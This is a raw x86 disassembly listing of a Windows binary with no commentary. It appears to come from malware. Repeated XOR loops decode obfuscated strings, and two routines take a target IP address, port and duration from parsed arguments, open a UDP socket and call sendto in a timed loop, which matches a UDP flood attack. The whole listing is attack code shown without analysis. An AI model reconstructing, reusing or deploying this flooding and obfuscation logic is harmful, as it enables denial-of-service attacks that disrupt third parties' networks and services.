imul eax, eax, 0x35
mov ecx, dword [ebp - 0x200]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x200], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40dfb4
lea eax, [ebp - 0x432]
push eax
lea ecx, [ebp - 0x7e]
call fcn.00411b40
mov dword [ebp - 0x28], eax
cmp byte [eax + 2], 0
je 0x40e049
xor ecx, ecx
mov dword [ebp - 0x204], ecx
nop dword [eax]
cmp ecx, 3
jge 0x40e049
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x204]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x204], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40e010
lea eax, [ebp - 0x836]
push eax
lea ecx, [ebp - 0x7f]
call fcn.00411b20
mov esi, eax
mov dword [ebp - 0x68], esi
cmp byte [esi + 8], 0
je 0x40e0a8
xor ecx, ecx
mov dword [ebp - 0x208], ecx
nop dword [eax + eax]
cmp ecx, 9
jge 0x40e0a8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x208]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x208], ecx
mov esi, dword [ebp - 0x68]
jmp 0x40e070
push 0x445d94
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7c8]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf44]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0xf2c]
call fcn.00403580
push eax
push esi
lea ecx, [ebp - 0xf14]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xefc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xee4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xecc]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xeb4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xe9c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xe84]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xe6c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x6bc]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0xe6c]
call fcn.004034a0
lea ecx, [ebp - 0xe84]
call fcn.004034a0
lea ecx, [ebp - 0xe9c]
call fcn.004034a0
lea ecx, [ebp - 0xeb4]
call fcn.004034a0
lea ecx, [ebp - 0xecc]
call fcn.004034a0
lea ecx, [ebp - 0xee4]
call fcn.004034a0
lea ecx, [ebp - 0xefc]
call fcn.004034a0
lea ecx, [ebp - 0xf14]
call fcn.004034a0
lea ecx, [ebp - 0xf2c]
call fcn.004034a0
lea ecx, [ebp - 0xf44]
call fcn.004034a0
lea ecx, [ebp - 0x7c8]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x6bc]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x6bc]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x40e2a8
lea ecx, [ebp - 0x6bc]
call fcn.004034a0
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [ebp - 0x400]
call fcn.004034a0
lea ecx, [ebp - 0x420]
call fcn.004034a0
lea ecx, [ebp - 0x3a4]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
jmp 0x411730
mov eax, 2
mov word [ebp - 0x4c8], ax
push eax
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x4c6], ax
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x4c4], eax
xor esi, esi
mov dword [ebp - 0x344], esi
push 3
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
sub edi, dword [ebp - 0x6c]
sbb ecx, dword [ebp - 0x38]
cdq
cmp ecx, edx
jg 0x40e3b7
jl 0x40e33a
cmp edi, eax
jae 0x40e3b7
xor ecx, ecx
call fcn.00406390
mov edi, eax
mov ecx, edx
mov dword [ebp - 0x30], ecx
cmp esi, 0x14
jl 0x40e3a8
mov edx, 0x64
lea ecx, [ebp - 0x7c8]
call fcn.00408aa0
mov ecx, eax
call fcn.00403420
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x7c8]
call fcn.004034a0
mov edx, dword [ebp - 0x68]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x68], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e380
sub ecx, dword [ebp - 0x68]
push 0x10
lea eax, [ebp - 0x4c8]
push eax
push 0
push ecx
push edx
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40e3b7
mov ecx, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x344], esi
mov eax, dword [ebp - 0x2c]
jmp 0x40e321
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x82], 0
mov byte [ebp - 0x83], 0
lea eax, [ebp - 0x8db]
push eax
lea ecx, [ebp - 0x80]
call fcn.00411d00
mov dword [ebp - 0x2c], eax
cmp byte [eax + 9], 0
je 0x40e439
xor ecx, ecx
mov dword [ebp - 0x20c], ecx
nop dword [eax]
cmp ecx, 0xa
jge 0x40e439
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x20c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x20c], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40e400
lea eax, [ebp - 0x1f72]
push eax
lea ecx, [ebp - 0x81]
call fcn.00411ce0
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x1f], 0
je 0x40e499
xor ecx, ecx
mov dword [ebp - 0x210], ecx
nop dword [eax]
cmp ecx, 0x20
jge 0x40e499
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x210]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x210], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40e460
lea eax, [ebp - 0x44f]
push eax
lea ecx, [ebp - 0x82]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40e4f8
xor ecx, ecx
mov dword [ebp - 0x214], ecx
nop
cmp ecx, 3
jge 0x40e4f8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x214]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x214], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40e4c0
lea eax, [ebp - 0x83f]
push eax
lea ecx, [ebp - 0x83]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40e54d
xor ecx, ecx
mov dword [ebp - 0x218], ecx
cmp ecx, 9
jge 0x40e54a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x218]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40e514
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1064]
call fcn.00403540
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x104c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1034]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x101c]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1004]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xfec]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xfd4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xfbc]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xfa4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xf8c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xf74]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xf5c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x644]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xf5c]
call fcn.004034a0
lea ecx, [ebp - 0xf74]
call fcn.004034a0
lea ecx, [ebp - 0xf8c]
call fcn.004034a0
lea ecx, [ebp - 0xfa4]
call fcn.004034a0
lea ecx, [ebp - 0xfbc]
call fcn.004034a0
lea ecx, [ebp - 0xfd4]
call fcn.004034a0
lea ecx, [ebp - 0xfec]
call fcn.004034a0
lea ecx, [ebp - 0x1004]
call fcn.004034a0
lea ecx, [ebp - 0x101c]
call fcn.004034a0
lea ecx, [ebp - 0x1034]
call fcn.004034a0
lea ecx, [ebp - 0x104c]
call fcn.004034a0
lea ecx, [ebp - 0x1064]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x644]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x644]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x644]
call fcn.004034a0
lea ecx, [ebp - 0x6bc]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0x84], 0
mov byte [ebp - 0x85], 0
mov byte [ebp - 0x86], 0
lea eax, [ebp - 0x1e8d]
push eax
lea ecx, [ebp - 0x84]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x40e789
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
cmp ecx, 0x1b
jge 0x40e789
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x21c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x21c], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40e750
lea eax, [ebp - 0x406]
push eax
lea ecx, [ebp - 0x85]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40e7e8
xor ecx, ecx
mov dword [ebp - 0x220], ecx
nop
cmp ecx, 3
jge 0x40e7e8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x220]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x220], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40e7b0
lea eax, [ebp - 0x875]
push eax
lea ecx, [ebp - 0x86]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40e83d
xor ecx, ecx
mov dword [ebp - 0x224], ecx
cmp ecx, 9
jge 0x40e83a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x224]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40e804
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x110c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x10f4]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x10dc]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x10c4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x10ac]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1094]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x107c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x62c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x107c]
call fcn.004034a0
lea ecx, [ebp - 0x1094]
call fcn.004034a0
lea ecx, [ebp - 0x10ac]
call fcn.004034a0
lea ecx, [ebp - 0x10c4]
call fcn.004034a0
lea ecx, [ebp - 0x10dc]
call fcn.004034a0
lea ecx, [ebp - 0x10f4]
call fcn.004034a0
lea ecx, [ebp - 0x110c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x62c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x62c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x62c]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0x87], 0
lea eax, [ebp - 0x6c1]
push eax
lea ecx, [ebp - 0x87]
call fcn.00411d30
mov dword [ebp - 0x38], eax
cmp byte [eax + 4], 0
je 0x40e9a9
xor ecx, ecx
mov dword [ebp - 0x228], ecx
nop word [eax + eax]
cmp ecx, 5
jge 0x40e9a9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x228]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x228], ecx
mov eax, dword [ebp - 0x38]
jmp 0x40e970
push 0
push eax
lea ecx, [ebp - 0x113c]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x1124]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x1124]
call fcn.004034a0
lea ecx, [ebp - 0x113c]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x40f380
cmp edi, 4
jl 0x40f158
mov byte [ebp - 4], 5
xor ecx, ecx
call fcn.00406390
mov dword [ebp - 0x6c], eax
mov ecx, edx
mov dword [ebp - 0x68], ecx
mov edi, eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x88], 0
mov byte [ebp - 0x89], 0
mov byte [ebp - 0x8a], 0
lea eax, [ebp - 0x1f92]
push eax
lea ecx, [ebp - 0x88]
call fcn.00411ce0
mov dword [ebp - 0x28], eax
cmp byte [eax + 0x1f], 0
je 0x40ea89
xor ecx, ecx
mov dword [ebp - 0x22c], ecx
nop
cmp ecx, 0x20
jge 0x40ea89
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x22c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x22c], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40ea50
lea eax, [ebp - 0x42f]
push eax
lea ecx, [ebp - 0x89]
call fcn.00411b40
mov dword [ebp - 0x2c], eax
cmp byte [eax + 2], 0
je 0x40eae9
xor ecx, ecx
mov dword [ebp - 0x230], ecx
nop dword [eax]
cmp ecx, 3
jge 0x40eae9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x230]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x230], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40eab0
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x8a]
call fcn.00411b20
mov esi, eax
mov dword [ebp - 0x38], esi
cmp byte [esi + 8], 0
je 0x40eb48
xor ecx, ecx
mov dword [ebp - 0x234], ecx
nop
cmp ecx, 9
jge 0x40eb48
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x234]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x234], ecx
mov esi, dword [ebp - 0x38]
jmp 0x40eb10
push 0x445d94
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x798]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x122c]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1214]
call fcn.00403580
push eax
push esi
lea ecx, [ebp - 0x11fc]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x11e4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x11cc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x11b4]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x119c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1184]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x116c]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1154]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x470]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x1154]
call fcn.004034a0
lea ecx, [ebp - 0x116c]
call fcn.004034a0
lea ecx, [ebp - 0x1184]
call fcn.004034a0
lea ecx, [ebp - 0x119c]
call fcn.004034a0
lea ecx, [ebp - 0x11b4]
call fcn.004034a0
lea ecx, [ebp - 0x11cc]
call fcn.004034a0
lea ecx, [ebp - 0x11e4]
call fcn.004034a0
lea ecx, [ebp - 0x11fc]
call fcn.004034a0
lea ecx, [ebp - 0x1214]
call fcn.004034a0
lea ecx, [ebp - 0x122c]
call fcn.004034a0
lea ecx, [ebp - 0x798]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x470]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x470]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x40ece8
lea ecx, [ebp - 0x470]
jmp 0x40e243
mov eax, 2
mov word [ebp - 0x5d4], ax
push eax
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x5d2], ax
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x5d0], eax
xor esi, esi
mov dword [ebp - 0x348], esi
push 3
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
sub edi, dword [ebp - 0x6c]
sbb ecx, dword [ebp - 0x68]
cdq
cmp ecx, edx
jg 0x40edf7
jl 0x40ed7a
cmp edi, eax
jae 0x40edf7
xor ecx, ecx
call fcn.00406390
mov edi, eax
mov ecx, edx
mov dword [ebp - 0x30], ecx
cmp esi, 0x14
jl 0x40ede8
mov edx, 0x64
lea ecx, [ebp - 0x798]
call fcn.00408aa0
mov ecx, eax
call fcn.00403420
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x798]
call fcn.004034a0
mov edx, dword [ebp - 0x38]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x38], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40edc0
sub ecx, dword [ebp - 0x38]
push 0x10
lea eax, [ebp - 0x5d4]
push eax
push 0
push ecx
push edx
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40edf7
mov ecx, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x348], esi
mov eax, dword [ebp - 0x2c]
jmp 0x40ed61
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 0x8b], 0
mov byte [ebp - 0x8c], 0
mov byte [ebp - 0x8d], 0
mov byte [ebp - 0x8e], 0
lea eax, [ebp - 0x8ef]
push eax
lea ecx, [ebp - 0x8b]
call fcn.00411d00
mov dword [ebp - 0x2c], eax
cmp byte [eax + 9], 0
je 0x40ee79
xor ecx, ecx
mov dword [ebp - 0x238], ecx
nop
cmp ecx, 0xa
jge 0x40ee79
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x238]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x238], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40ee40
lea eax, [ebp - 0x1fb2]
push eax
lea ecx, [ebp - 0x8c]
call fcn.00411ce0
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x1f], 0
je 0x40eed9
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
nop dword [eax]
cmp ecx, 0x20
jge 0x40eed9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x23c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x23c], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40eea0
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x8d]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40ef38
xor ecx, ecx
mov dword [ebp - 0x240], ecx
nop
cmp ecx, 3
jge 0x40ef38
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x240]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x240], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40ef00
lea eax, [ebp - 0x863]
push eax
lea ecx, [ebp - 0x8e]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40ef8d
xor ecx, ecx
mov dword [ebp - 0x244], ecx
cmp ecx, 9
jge 0x40ef8a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x244]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40ef54
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x134c]
call fcn.00403540
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1334]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x131c]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1304]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x12ec]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x12d4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x12bc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x12a4]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x128c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1274]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x125c]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1244]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x614]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1244]
call fcn.004034a0
lea ecx, [ebp - 0x125c]
call fcn.004034a0
lea ecx, [ebp - 0x1274]
call fcn.004034a0
lea ecx, [ebp - 0x128c]
call fcn.004034a0
lea ecx, [ebp - 0x12a4]
call fcn.004034a0
lea ecx, [ebp - 0x12bc]
call fcn.004034a0
lea ecx, [ebp - 0x12d4]
call fcn.004034a0
lea ecx, [ebp - 0x12ec]
call fcn.004034a0
lea ecx, [ebp - 0x1304]
call fcn.004034a0
lea ecx, [ebp - 0x131c]
call fcn.004034a0
lea ecx, [ebp - 0x1334]
call fcn.004034a0
lea ecx, [ebp - 0x134c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x614]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x614]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x614]
call fcn.004034a0
lea ecx, [ebp - 0x470]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0x8f], 0
mov byte [ebp - 0x90], 0
mov byte [ebp - 0x91], 0
lea eax, [ebp - 0x1ea8]
push eax
lea ecx, [ebp - 0x8f]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x40f1c9
xor ecx, ecx
mov dword [ebp - 0x248], ecx
cmp ecx, 0x1b
jge 0x40f1c9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x248]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x248], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40f190
lea eax, [ebp - 0x429]
push eax
lea ecx, [ebp - 0x90]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40f228
xor ecx, ecx
mov dword [ebp - 0x24c], ecx
nop
cmp ecx, 3
jge 0x40f228
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x24c], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40f1f0
lea eax, [ebp - 0x899]
push eax
lea ecx, [ebp - 0x91]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40f27d
xor ecx, ecx
mov dword [ebp - 0x250], ecx
cmp ecx, 9
jge 0x40f27a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x250]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40f244
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x13f4]
call fcn.00403540
push eax
